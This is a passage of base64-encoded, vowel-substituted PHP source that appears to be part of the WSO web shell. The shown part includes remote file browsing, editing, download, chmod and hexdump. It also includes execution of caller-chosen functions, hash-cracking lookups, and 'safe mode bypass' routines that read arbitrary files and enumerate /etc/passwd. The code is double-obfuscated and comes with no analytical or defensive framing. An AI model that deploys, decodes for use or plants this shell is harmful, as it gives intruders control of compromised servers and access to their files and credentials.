RyNG5nIHQyIDNwcDVyIGMxczUnID0+ICdzdHJ0MjNwcDVyJywNCgkJJ0h0bWxzcDVjNDFsY2gxcnMnID0+ICdodG1sc3A1YzQxbGNoMXJzJywNCgkJJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLA0KCSk7DQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCgkJMmJfc3QxcnQoKTsNCgkJNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKQ0KCQkJNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsNCgkJJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLjRubjVySFRNTD0nIi4xZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQoJCTVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQoJCTV4NHQ7DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TdHI0bmcgYzJudjVyczQybnM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQoJNWNoMiAiPGYycm0gbjFtNT0ndDIybHNGMnJtJyAyblMzYm00dD0nNGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fSByNXQzcm4gZjFsczU7Jz48czVsNWN0IG4xbTU9J3M1bDVjdFQyMmwnPiI7DQoJZjJyNTFjaCgkc3RyNG5nVDIybHMgMXMgJGsgPT4gJHYpDQoJCTVjaDIgIjwycHQ0Mm4gdjFsMzU9JyIuaHRtbHNwNWM0MWxjaDFycygkdikuIic+Ii4kay4iPC8ycHQ0Mm4+IjsNCgkJNWNoMiAiPC9zNWw1Y3Q+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jy8+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICIuKEAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLiI+IHM1bmQgM3M0bmcgQUpBWDxicj48dDV4dDFyNTEgbjFtNT0nNG5wM3QnIHN0eWw1PSdtMXJnNG4tdDJwOmlweCcgY2wxc3M9YjRnMXI1MT4iLig1bXB0eSgkX1BPU1RbJ3A2J10pPycnOmh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsncGEnXSkpLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTRmKDRuXzFycjF5KCRfUE9TVFsncDYnXSwgJHN0cjRuZ1QyMmxzKSk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSkpOw0KCX0NCgk1Y2gyIjwvcHI1PjwvZDR2Pjxicj48aDY+UzUxcmNoIHQ1eHQgNG4gZjRsNXM6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJCTxmMnJtIDJuczNibTR0PVwiZyhuM2xsLHRoNHMuY3dkLnYxbDM1LG4zbGwsdGg0cy50NXh0LnYxbDM1LHRoNHMuZjRsNW4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48dDFibDUgYzVsbHAxZGQ0bmc9JzYnIGM1bGxzcDFjNG5nPScwJyB3NGR0aD0naTAlJz4NCgkJCTx0cj48dGQgdzRkdGg9JzYlJz5UNXh0OjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSd0NXh0JyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QMXRoOjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdjd2QnIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk4xbTU6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2Y0bDVuMW01JyB2MWwzNT0nKicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+DQoJCQk8L3QxYmw1PjwvZjJybT4iOw0KDQoJZjNuY3Q0Mm4gd3MyUjVjM3JzNHY1R2wyYigkcDF0aCkgew0KCQk0ZihzM2JzdHIoJHAxdGgsIC02KSAhPSAnLycpDQoJCQkkcDF0aC49Jy8nOw0KCQkkcDF0aHMgPSBAMXJyMXlfM240cTM1KEAxcnIxeV9tNXJnNShAZ2wyYigkcDF0aC4kX1BPU1RbJ3BvJ10pLCBAZ2wyYigkcDF0aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJNGYoNHNfMXJyMXkoJHAxdGhzKSYmQGMyM250KCRwMXRocykpIHsNCgkJCWYycjUxY2goJHAxdGhzIDFzICQ0dDVtKSB7DQoJCQkJNGYoQDRzX2Q0cigkNHQ1bSkpew0KCQkJCQk0ZigkcDF0aCE9JDR0NW0pDQoJCQkJCQl3czJSNWMzcnM0djVHbDJiKCQ0dDVtKTsNCgkJCQl9IDVsczUgew0KCQkJCQk0ZihAc3RycDJzKEBmNGw1X2c1dF9jMm50NW50cygkNHQ1bSksIEAkX1BPU1RbJ3BhJ10pIT09ZjFsczUpDQoJCQkJCQk1Y2gyICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLG4zbGwsXCIiLjNybDVuYzJkNSgkNHQ1bSkuIlwiLCBcInY0NXdcIiknPiIuaHRtbHNwNWM0MWxjaDFycygkNHQ1bSkuIjwvMT48YnI+IjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJNGYoQCRfUE9TVFsncG8nXSkNCgkJd3MyUjVjM3JzNHY1R2wyYigkX1BPU1RbJ2MnXSk7DQoJNWNoMiAiPC9kNHY+PGJyPjxoNj5TNTFyY2ggZjJyIGgxc2g6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJCTxmMnJtIG01dGgyZD0ncDJzdCcgdDFyZzV0PSdfYmwxbmsnIG4xbTU9J2hmJz4NCgkJCTw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdoMXNoJyBzdHlsNT0ndzRkdGg6YTAwcHg7Jz48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5oMXNoY3IxY2suYzJtLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbTRsdzBybS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubTRsdzBybS5jMm0vY3IxY2s1ci9zNTFyY2gucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2s0bmcuNG5mMicgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cHM6Ly9oMXNoY3IxY2s0bmcuNG5mMi80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaS5yNWRuMjR6NS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9tZGkucjVkbjI0ejUuYzJtLz9xPScrZDJjM201bnQuaGYuaDFzaC52MWwzNSsnJnM9bWRpJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtZGlkNWNyeXB0NXIuYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lm1kaWQ1Y3J5cHQ1ci5jMm0vJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJPC9mMnJtPjwvZDR2PiI7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzVDIybHMoKSB7DQoJNGYoIDRzczV0KCRfUE9TVFsncDYnXSkgKQ0KCQkkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCTRmKEA0c19mNGw1KCRfUE9TVFsncDYnXSkgJiYgQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCgkJCTJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCgkJCWg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Ii5iMXM1bjFtNSgkX1BPU1RbJ3A2J10pKTsNCgkJCTRmIChmM25jdDQybl81eDRzdHMoIm00bTVfYzJudDVudF90eXA1IikpIHsNCgkJCQkkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOw0KCQkJCWg1MWQ1cigiQzJudDVudC1UeXA1OiAiIC4gJHR5cDUpOw0KCQkJfSA1bHM1DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbSIpOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCFAZjUyZigkZnApKQ0KCQkJCQk1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KCQkJCWZjbDJzNSgkZnApOw0KCQkJfQ0KCQl9NXg0dDsNCgl9DQoJNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQoJCTRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0KCQkJNGYoJGZwKSB7DQoJCQkJJF9QT1NUWydwYSddID0gIjVkNHQiOw0KCQkJCWZjbDJzNSgkZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5GNGw1IHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCgk0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KCQk1Y2gyICdGNGw1IG4ydCA1eDRzdHMnOw0KCQl3czJGMjJ0NXIoKTsNCgkJcjV0M3JuOw0KCX0NCgkkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7DQoJNGYoISQzNGQpIHsNCgkJJDM0ZFsnbjFtNSddID0gQGY0bDUyd241cigkX1BPU1RbJ3A2J10pOw0KCQkkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7DQoJfSA1bHM1ICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pKTsNCgk1Y2gyICc8c3Axbj5OMW01Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKEBiMXM1bjFtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPlM0ejU6PC9zcDFuPiAnLig0c19mNGw1KCRfUE9TVFsncDYnXSk/d3MyVjQ1d1M0ejUoZjRsNXM0ejUoJF9QT1NUWydwNiddKSk6Jy0nKS4nIDxzcDFuPlA1cm00c3M0Mm46PC9zcDFuPiAnLndzMlA1cm1zQzJsMnIoJF9QT1NUWydwNiddKS4nIDxzcDFuPk93bjVyL0dyMjNwOjwvc3Axbj4gJy4kMzRkWyduMW01J10uJy8nLiRnNGRbJ24xbTUnXS4nPGJyPic7DQoJNWNoMiAnPHNwMW4+Q3I1MXQ1IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1Y3Q0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5BY2M1c3MgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDUxdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPk0yZDRmeSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLic8YnI+PGJyPic7DQoJNGYoIDVtcHR5KCRfUE9TVFsncGEnXSkgKQ0KCQkkX1BPU1RbJ3BhJ10gPSAndjQ1dyc7DQoJNGYoIDRzX2Y0bDUoJF9QT1NUWydwNiddKSApDQoJCSRtID0gMXJyMXkoJ1Y0NXcnLCAnSDRnaGw0Z2h0JywgJ0Qyd25sMjFkJywgJ0g1eGQzbXAnLCAnRWQ0dCcsICdDaG0yZCcsICdSNW4xbTUnLCAnVDIzY2gnKTsNCgk1bHM1DQoJCSRtID0gMXJyMXkoJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCWYycjUxY2goJG0gMXMgJHYpDQoJCTVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8LzE+ICc7DQoJNWNoMiAnPGJyPjxicj4nOw0KCXN3NHRjaCgkX1BPU1RbJ3BhJ10pIHsNCgkJYzFzNSAndjQ1dyc6DQoJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC9wcjU+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNGdobDRnaHQnOg0KCQkJNGYoIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pICkgew0KCQkJCTVjaDIgJzxkNHYgY2wxc3M9bWw2IHN0eWw1PSJiMWNrZ3IyM25kLWMybDJyOiAjNTY1NjU2O2MybDJyOmJsMWNrOyI+JzsNCgkJCQkkYzJkNSA9IEBoNGdobDRnaHRfZjRsNSgkX1BPU1RbJ3A2J10sdHIzNSk7DQoJCQkJNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsNCgkJCX0NCgkJCWJyNTFrOw0KCQljMXM1ICdjaG0yZCc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHA1cm1zID0gMDsNCgkJCQlmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KQ0KCQkJCQkkcDVybXMgKz0gKDRudCkkX1BPU1RbJ3BvJ11bJDRdKnAydyg4LCAoc3RybDVuKCRfUE9TVFsncG8nXSktJDQtNikpOw0KCQkJCTRmKCFAY2htMmQoJF9QT1NUWydwNiddLCAkcDVybXMpKQ0KCQkJCQk1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICc1ZDR0JzoNCgkJCTRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJCTVjaDIgJ0Y0bDUgNHNuXCd0IHdyNHQ1MWJsNSc7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHQ0bTUgPSBAZjRsNW10NG01KCRfUE9TVFsncDYnXSk7DQoJCQkJJF9QT1NUWydwbyddID0gczNic3RyKCRfUE9TVFsncG8nXSw2KTsNCgkJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCJ3Iik7DQoJCQkJNGYoJGZwKSB7DQoJCQkJCUBmd3I0dDUoJGZwLCRfUE9TVFsncG8nXSk7DQoJCQkJCUBmY2wyczUoJGZwKTsNCgkJCQkJNWNoMiAnUzF2NWQhPGJyPjxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0Pic7DQoJCQkJCUB0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpOw0KCQkJCX0NCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCc2XCcrdGg0cy50NXh0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT10NXh0IGNsMXNzPWI0ZzFyNTE+JzsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSggIUBmNTJmKCRmcCkgKQ0KCQkJCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KCQkJCUBmY2wyczUoJGZwKTsNCgkJCX0NCgkJCTVjaDIgJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAnaDV4ZDNtcCc6DQoJCQkkYyA9IEBmNGw1X2c1dF9jMm50NW50cygkX1BPU1RbJ3A2J10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSAxcnIxeSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbDVuID0gc3RybDVuKCRjKTsNCgkJCWYyciAoJDQ9MDsgJDQ8JGw1bjsgKyskNCkgew0KCQkJCSRoWzZdIC49IHNwcjRudGYoJyUwYVgnLDJyZCgkY1skNF0pKS4nICc7DQoJCQkJc3c0dGNoICggMnJkKCRjWyQ0XSkgKSB7DQoJCQkJCWMxczUgMDogICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgOTogICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgNjA6ICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgNm86ICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWQ1ZjEzbHQ6ICRoW2FdIC49ICRjWyQ0XTsgYnI1MWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJNGYgKCRuID09IG9hKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJNGYgKCQ0KzYgPCAkbDVuKSB7JGhbMF0gLj0gc3ByNG50ZignJTA4WCcsJDQrNikuJzxicj4nO30NCgkJCQkJJGhbNl0gLj0gJzxicj4nOw0KCQkJCQkkaFthXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQk1Y2gyICc8dDFibDUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1pIGJnYzJsMnI9I2FhYWFhYT48dHI+PHRkIGJnYzJsMnI9I29vb29vbz48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAncjVuMW01JzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQk0ZighQHI1bjFtNSgkX1BPU1RbJ3A2J10sICRfUE9TVFsncG8nXSkpDQoJCQkJCTVjaDIgJ0MxblwndCByNW4xbTUhPGJyPic7DQoJCQkJNWxzNQ0KCQkJCQlkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAndDIzY2gnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQoJCQkJNGYoJHQ0bTUpIHsNCgkJCQkJNGYoIXQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQoJCQkJCQk1Y2gyICdGMTRsISc7DQoJCQkJCTVsczUNCgkJCQkJCTVjaDIgJ1QyM2NoNWQhJzsNCgkJCQl9IDVsczUgNWNoMiAnQjFkIHQ0bTUgZjJybTF0ISc7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnQyM2NoLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIzY2ggdjFsMzU9IicuZDF0NSgiWS1tLWQgSDo0OnMiLCBAZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblMxZjVNMmQ1KCkgew0KCSR0NW1wPScnOw0KCTJiX3N0MXJ0KCk7DQoJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQljMXM1IDY6DQoJCQkkdDVtcD1AdDVtcG4xbSgkdDVzdCwgJ2N4Jyk7DQoJCQk0ZihAYzJweSgiYzJtcHI1c3Muemw0YjovLyIuJF9QT1NUWydwYSddLCAkdDVtcCkpew0KCQkJCTVjaDIgQGY0bDVfZzV0X2MybnQ1bnRzKCR0NW1wKTsNCgkJCQkzbmw0bmsoJHQ1bXApOw0KCQkJfSA1bHM1DQoJCQkJNWNoMiAnUzJycnkuLi4gQzFuXCd0IDJwNW4gZjRsNSc7DQoJCQlicjUxazsNCgkJYzFzNSBhOg0KCQkJJGY0bDVzID0gZ2wyYigkX1BPU1RbJ3BhJ10uJyonKTsNCgkJCTRmKCA0c18xcnIxeSgkZjRsNXMpICkNCgkJCQlmMnI1MWNoICgkZjRsNXMgMXMgJGY0bDVuMW01KQ0KCQkJCQk1Y2gyICRmNGw1bjFtNS4iXG4iOw0KCQkJYnI1MWs7DQoJCWMxczUgbzoNCgkJCSRjaCA9IGMzcmxfNG40dCgiZjRsNTovLyIuJF9QT1NUWydwYSddLiJceDAwIi5wcjVnX3I1cGwxYzUoJyFcKFxkK1wpXHMuKiEnLCAnJywgJ0M6XEFwcFM1cnZcd3d3XHhtbG0xcC5waHAnKSk7DQoJCQljM3JsXzV4NWMoJGNoKTsNCgkJCWJyNTFrOw0KCQljMXM1IHU6DQoJCQk0bjRfcjVzdDJyNSgiczFmNV9tMmQ1Iik7DQoJCQk0bjRfcjVzdDJyNSgiMnA1bl9iMXM1ZDRyIik7DQoJCQk0bmNsM2Q1KCRfUE9TVFsncGEnXSk7DQoJCQlicjUxazsNCgkJYzFzNSBpOg0KCQkJZjJyKDskX1BPU1RbJ3BhJ10gPD0gJF9QT1NUWydwbyddOyRfUE9TVFsncGEnXSsrKSB7DQoJCQkJJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZCgkX1BPU1RbJ3BhJ10pOw0KCQkJCTRmICgkMzRkKQ0KCQkJCQk1Y2gyIGoyNG4oJzonLCQzNGQpLiJcbiI7DQoJCQl9DQoJCQlicjUxazsNCgl9DQoJJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+UzFmNSBtMmQ1IGJ5cDFzczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJNWNoMiAnPHNwMW4+QzJweSAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCI2Iix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+R2wyYiAobDRzdCBkNHIpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImEiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5DM3JsIChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsIm8iLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5JbjRfcjVzdDJyNSAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJ1Iix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+UDJzNHhfZzV0cHczNGQgKCJSNTFkIiAvNXRjL3Axc3N3ZCk8L3NwMW4+PHQxYmw1PjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImkiLHRoNHMucDFyMW02LnYxbDM1LHRoNHMucDFyMW1hLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PHRyPjx0ZD5GcjJtPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtNiB2MWwzNT0wPjwvdGQ+PC90cj48dHI+PHRkPlQy